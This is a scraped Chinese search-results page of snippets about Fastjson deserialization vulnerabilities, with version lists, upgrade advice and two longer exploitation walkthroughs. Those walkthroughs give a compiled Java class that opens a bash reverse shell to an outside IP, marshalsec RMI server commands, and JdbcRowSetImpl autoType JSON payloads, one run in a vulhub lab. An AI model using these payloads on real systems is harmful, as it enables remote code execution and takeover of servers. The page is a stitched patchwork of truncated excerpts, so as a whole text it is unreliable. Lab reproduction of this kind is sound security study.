精华内容
下载资源
问答
  • burp插件
  • Fastjson漏洞

    千次阅读 2021-02-06 23:28:39
    Fastjson概述 Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。 ➢历史漏洞 Fastjson <=...

    ➢ Fastjson概述
    Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。

    ➢历史漏洞
    Fastjson <=1.2.24 反序列化远程命令执行漏洞
    Fastjson <=1.2.41 反序列化远程命令执行漏洞
    Fastjson <=1.2.42 反序列化远程命令执行漏洞
    Fastjson <=1.2.43 反序列化远程命令执行漏洞
    Fastjson <=1.2.45 反序列化远程命令执行漏洞
    Fastjson <=1.2.47 反序列化远程命令执行漏洞
    Fastjson <=1.2.62 反序列化远程命令执行漏洞
    Fastjson <=1.2.66 反序列化远程命令执行漏洞

    ➢ Fastjson1.2.47反序列化漏洞
    1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
    1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

    ➢ Fastjson寻找
    fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson
    在这里插入图片描述
    ➢ Json认识

    {
    "name":"smith".
    "age":28,
    "sex":"男"
    "school":{
    "sname":"南京大学".
    "address":"南京市鼓楼区汉口路22号"
    }
    }
    {"name":"smith","empno":1001,"job":"clerck","sal":9000.00,"comm":5000.00}
    

    ➢ Fastjson漏洞发现(利用 dnslog)

    {"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}
    

    在这里插入图片描述
    ➢ Fastjson的利用(编译)
    新建Exploit.java
    内容为:https://cowtransfer.com/s/7841d5d6121747
    然后cmd下执行:javac Exploit.java,就会生成一个class文件

    //javac Exploit.java
    import java.lang.Runtime;
    import java.lang.Process;
    public class Exploit {
    public Exploit(){
    try{
    Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i &gt;&
    /dev/tcp/139.9.198.30/6666 0&gt;&1");
    }catch(Exception e){
    e.printStackTrace();
    }
    }
    public static void main(String[] argv){
    Exploit e = new Exploit();
    }
    }
    

    ➢ Fastjson的利用
    把编译好的class文件传到外网系统中,可以访问验证一下是否开启,是否把class文
    件放进入,
    项目地址:https://github.com/mbechler/marshalsec
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
    “http://139.9.198.30/2/#Exploit” 1234

    在这里插入图片描述
    ➢ Fastjson的利用
    执行攻击payload:

    {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"
    b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://139.9.1
    98.30:1234/Exploit","autoCommit":true}}
    

    ➢ Fastjson的利用(反弹 shell)在这里插入图片描述
    在这里插入图片描述
    ➢ Fastjson的利用(简捷)
    项目地址:
    https://github.com/Betsy0/fastjson_rce_tool

    ➢ Fastjson的利用(简捷)
    java -cp fastjson_tool.jar fastjson.HRMIServer 139.9.198.30 1234 "要执行的命
    令“
    编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html在这里插入图片描述
    ➢ Fastjson的利用(简捷)
    生成payload在这里插入图片描述
    ➢ Fastjson的利用(简捷)
    Nc监听端口,并将生成的payload执行在这里插入图片描述

    展开全文
  • fastjson漏洞

    2020-05-30 10:51:03
    对于最新版本的fastjson,是有漏洞的。 版本: com.alibaba fastjson 1.2.68 在序列化的过程中,是存在白名单漏洞的。具体需要关注一下反序列化的过程。 https://cert.360.cn/daily

    对于最新版本的fastjson,是有漏洞的。
    版本:


    com.alibaba
    fastjson
    1.2.68

    在序列化的过程中,是存在白名单漏洞的。具体需要关注一下反序列化的过程。

    https://cert.360.cn/daily

    展开全文
  • fastjson漏洞复现

    2021-08-01 14:38:47
    fastjson漏洞复现fastjson漏洞原理简介靶机环境搭建漏洞探测发送一个错的数据包正确的数据包发送漏洞利用docker 搭建靶机编译恶意类启动HTTP服务启动rmi服务发送数据利用fastjson漏洞反弹shell fastjson漏洞原理简介...

    fastjson漏洞原理简介

    若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。

    原理(流程):

    1. 攻击者访问目标网站,通过burpsuite抓包,以json的格式添加 JdbcRowSetImpl 恶意类信息,发送给目标机。

    2. 目标机在反序列化的时候,加载攻击者构造的 JdbcRowSetImpl 恶意类(访问rmi服务器),rmi 给靶机下发命令

    3. 目标机得到rmi服务的响应,去执行 dnslog 类(攻击者写好上传给靶机的)

    img

    靶机环境搭建

    kali(192.168.1.106) :安装rmi服务,同时也作为目标机

    物理机:作为攻击者

    漏洞探测

    利用burpsuite抓包,看返回的内容

    错误的fastjson格式会被指出

    发送一个错的数据包

    请添加图片描述

    正确的数据包发送

    请添加图片描述

    可以看到物理主机对docker的连接

    漏洞利用

    docker 搭建靶机

    搭建docker,给fastjson提供运行的环境,也就是搭建靶机环境

    //安装docker
    apt-get install docker
    apt-get install docker-compose
    reboot
    service docker start 
    
    //安装maven
    wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
    mkdir /opt/maven
    tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
    //配置maven的环境变量
    vim /etc/profile
    export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
    export PATH=$MAVEN_HOME/bin:$PATH
    mvn -version     检验maven是否安装成功
    
    
    //安装vulhub项目(其中附带fastjson漏洞复现场景)
    git clone https://github.com/vulhub/vulhub.git
    cd vulhub
    cd  fastjson				//进入fastjson 
    cd  1.2.24-rce
    docker-compose up -d 		//启动fastjson项目。在浏览器中输入---IP地址:8090   
    cd  1.2.47-rce
    docker-compose up -d 		
    ifconfig
    

    请添加图片描述

    同时在我们的物理主机上也能访问(输入eth0的IP即可)

    请添加图片描述

    编译恶意类

    javac dnslog.java
    

    用python 启动http服务要在 dnslog所在的目录

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class dnslog{
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = { "/bin/sh", "-c", "touch /home/kali/success.txt"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
            }
        }
    }
    

    启动HTTP服务

    在 kali 上启动HTTP服务,保证客户能够访问上述页面,设置监听的端口为9998

    能够监听到用户的请求,黑客发起请求,让目标服务器执行,访问rmi服务器(本案例将rmi服务器也放在了kali上)

    python -m SimpleHTTPServer 9998 
    

    注意:dnslog.java

    请添加图片描述

    启动rmi服务

    在实际情况下,rmi服务器和 目标靶机是分开的

    (在第二张图中)RMIRefserver 后面的内容是 rmi 定义的rmi服务器的地址,还有制定远程加载类 dnslog

    git clone https://github.com/mbechler/marshalsec.git
    cd marshalsec/
    mvn clean package –DskipTests		#编译此项目
    

    请添加图片描述

    cd target/
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.106:9998/#dnslog" 9999
    

    请添加图片描述

    发送数据

    访问 192.168.1.106:8090 ,burpsuite抓包

    携待数据发送,就必须将GET 改为 POST

    发送 数据的被目标机接收后,目标机会请求rmi服务器,rmi服务器的dnslog文件中定义了目标机要执行的命令,目标机收到这些命令后就会执行。

    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://192.168.1.106:9999/dnslog",   	
            		#攻击者要通过目标机 去rmi服务器查找dnslog文件,然后rmi服务器转发请求给目标服务器
            "autoCommit":true
        }
    }
    

    请添加图片描述

    可以看到物理主机对docker的连接。

    此外,如果没有下面连接的提示,可以重新尝试

    下面的IP地址输入错误,应该是 192.168.1.106:9998/#dnslog

    请添加图片描述

    下面的Exploit.class是我 执行的另一个类。

    请添加图片描述

    利用fastjson漏洞反弹shell

    反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

    反弹shell好文:https://zhuanlan.zhihu.com/p/138393396

    1. 只需要将poc中的内容做更改即可
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class dnslog{
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = { "/bin/sh", "-c", "/bin/sh -i >& /dev/tcp/目标机IP/端口号 0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
            }
        }
    }
    
    # kali中反弹shell命令
    # sudo sysud64 -uroot /bin/bash -c “/bin/sh -i >& /dev/tcp/192.168.1.106/4444 0>&1”	
    
    1. 在kali(目标机)上启动http,

    2. 在kali(rmi服务器)上启动rmi服务

    3. 在kali(rmi服务器)上监听端口

    nc -lvnp 4444			#kali上(rmi服务器)监听4444端口
    

    请添加图片描述

    展开全文
  • FastJson漏洞工具

    2021-06-15 16:46:33
    如果存在fastjson漏洞的话,会弹出存在漏洞的弹框。 2.漏洞利用 在下载连接里有两个连接地址,第一个是工具,第二个是利用脚本。我们将这两个放在同一目录下。 然后,按照下面步骤 在第三步监听后,会创建监听 然后...

    有的时候,我们在渗透测试发现fastjson资产情况下,找不到利用工具,这里推荐一款图形化的工具

    1.下载地址

    https://github.com/nex121/FastjsonEXP

    2.利用工具实现Fastjson 1.2.47 远程命令执行漏洞

    靶场:Vulhub靶场,docker启动。

    vulhub/fastjson/1.2.47-rce
    docker-compose up -d

    1.检测漏洞是否存在

    这里我们在输入目标地址的时候,要输入http,否则可能不能解析。

    如果存在fastjson漏洞的话,会弹出存在漏洞的弹框。

    2.漏洞利用

    在下载连接里有两个连接地址,第一个是工具,第二个是利用脚本。我们将这两个放在同一目录下。

    然后,按照下面步骤

    在第三步监听后,会创建监听

    然后,执行第四步和第五步之后,点击发送,会执行命令。

    我们去容器中查看命令是否执行成功,可以看到已经创建成功了。

    这里还有远程的使用方法,只要把fastjson_tool.jar放在远程服务器(linux)的root目录下

    输入账号密码后,点击测试看是否连接成功。成功后,直接在下面输入攻击地址,再输入版本号,点击发送即可。

    展开全文
  • ... fastjson大家一定都不陌生,这是阿里巴巴的开源...前段时间,fastjson被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。 但是作为一个开发者,我更关注的是他为什么会频繁被爆漏洞?于是我带.
  • Fastjson漏洞修复参考

    千次阅读 2020-06-20 10:27:52
    Fastjson漏洞修复参考 1. 漏洞背景 ​ Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。 Fastjson多处补丁修补出现...
  • 最近公司一直说fastjson漏洞,比较很严重,要换成其他的json工具。怀着好奇的心情去看了一些文章,现在简单的记录一下。 1、漏洞分析 总体而言是一个叫做autoType的在搞事情。那么autoType是什么呢? 我们写一段...
  • Fastjson漏洞利用

    2021-11-07 15:50:25
    批量识别、验证漏洞漏洞利用、利用方式 链接:https://www.yuque.com/docs/share/f306fc7f-ecf4-4442-b2d4-898b911cdd3a?#
  • 一、Fastjson 概况 1、fastjson简介 Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点...2、漏洞.
  • 目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发...
  • 点击上方蓝色字体,关注我——一个在阿里云打工的清华学渣!图by: 石头文章作者:Hollis文章来源:Hollis(ID:hollischuang)fastjson大家一定都不陌生,...
  • docker漏洞环境搭建并复现某fastjson漏洞 补一个之前复现fastjson漏洞的记录,poc已有 1、搭建docker(mac版) 参考链接:https://www.runoob.com/docker/macos-docker-install.html 安装成功后进行初始化 问题:...
  • 阿里巴巴fastjson漏洞攻击

    千次阅读 2019-09-10 09:04:24
    Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean 二 漏洞介绍 Fastjson 1.2.60版本以下存在字符串解析异常 该漏洞...
  • 将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞 回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下: "x" : { "name": { "@type" : "java.lang...
  • fastjson漏洞分析

    2020-07-08 11:28:15
    前段时间,fastjson被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。 但是作为一个开发者,我更关注的是他为什么会频繁被爆漏洞?于是我带着疑惑,去看了下fastjson的releaseNote以及部分源...
  • Fastjson漏洞复现

    2021-01-06 17:01:29
    Fastjson漏洞复现 前言 环境搭建 安装java环境 安装maven 编译marshalsec 启动靶场 漏洞利用 前言 靶场使用的是docker + vulhub,由于kali自带是jdk版本为11,而本次环境需要使用jdk8版本,且版本不能低于8u121。...
  • Fastjson漏洞分析

    2020-12-29 04:58:09
    0x01简介fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。FastJson特点如下:(1)能够支持将java bean序列...
  • java-sec-code Fastjson漏洞

    2021-08-27 10:42:47
    学会审计Fastjson漏洞,更有机会挖出高质量的漏洞,所以还是得多学习学习的。 Fastjson简介 Fastjson是一个Java库,可以用来将Java对象转换成它们的JSON表示。它还可以用于将JSON字符串转换为等效的Java对象。...
  • fastjson漏洞学习分析

    2021-01-11 19:25:04
    0x00前言前面写了fastjson的利用,现在补上fastjson的分析,后面附上探测后端是否使用fastjon的方法(1.2.67)。0x01fastjson基本使用toJSONString()parseObject()这两个函数一个将对象转化为json字符串,一个将json...
  • fastjson漏洞升级修复小记

    千次阅读 2017-04-01 14:01:00
    ,在不少同行朋友圈里广为流传,最诧异的不外乎“一个序列化框架竟然会出现远程执行的漏洞”,其实如果用过fastjson的序列化类名功能就不难想到,在序列化写入类名后,反序列化时必然会用到这个类名进行对象类型的...
  • fastjson漏洞环境

    2021-01-12 19:52:45
    包含fastjson反序列化漏洞fastjson反序列化漏洞fastjson反序列化漏洞
  • fastJson漏洞之@type

    2021-04-12 16:25:01
    public class User { private String name;... } public String getName() { System.out....通过fastjson.properties文件配置:通过类路径的fastjson.properties文件来配置,配置方式如下: fastjson.parser.safeMode=true
  • Fastjson 1.2.47 (远程代码执行)利用RCE进行漏洞复现-附件资源
  • Fastjson 漏洞分析

    千次阅读 2019-07-14 19:07:29
    近日,Fastjson被传爆出新的“0day”,也引起了大家的高度关注。云影实验室第一时间进行了跟进和分析,通过分析我们发现,此次的漏洞并不算新的漏洞,其实官方早在去年五月就已经推出了相关补丁修复,但可能没有发布...
  • fastjson 漏洞复现

    2020-07-09 18:51:54
    可能从fastjson“盘古开天地”开始讲,因为我对序列化 反序列化还有那些组件非常不熟悉(谁不搞开发会对这些熟悉)也算复习一下java知识吧,之前好像我自己大二学习java序列化那章就搜索过序列化漏洞,没办法 我读书...
  • fastjson 安全漏洞

    2020-07-16 14:20:51
    前段时间,fastjson被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。 但是作为一个开发者,我更关注的是他为什么会频繁被爆漏洞?于是我带着疑惑,去看了下fastjson的releaseNote以及部分源代码...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,359
精华内容 1,343
关键字:

fastjson漏洞

友情链接: PCPPV96.rar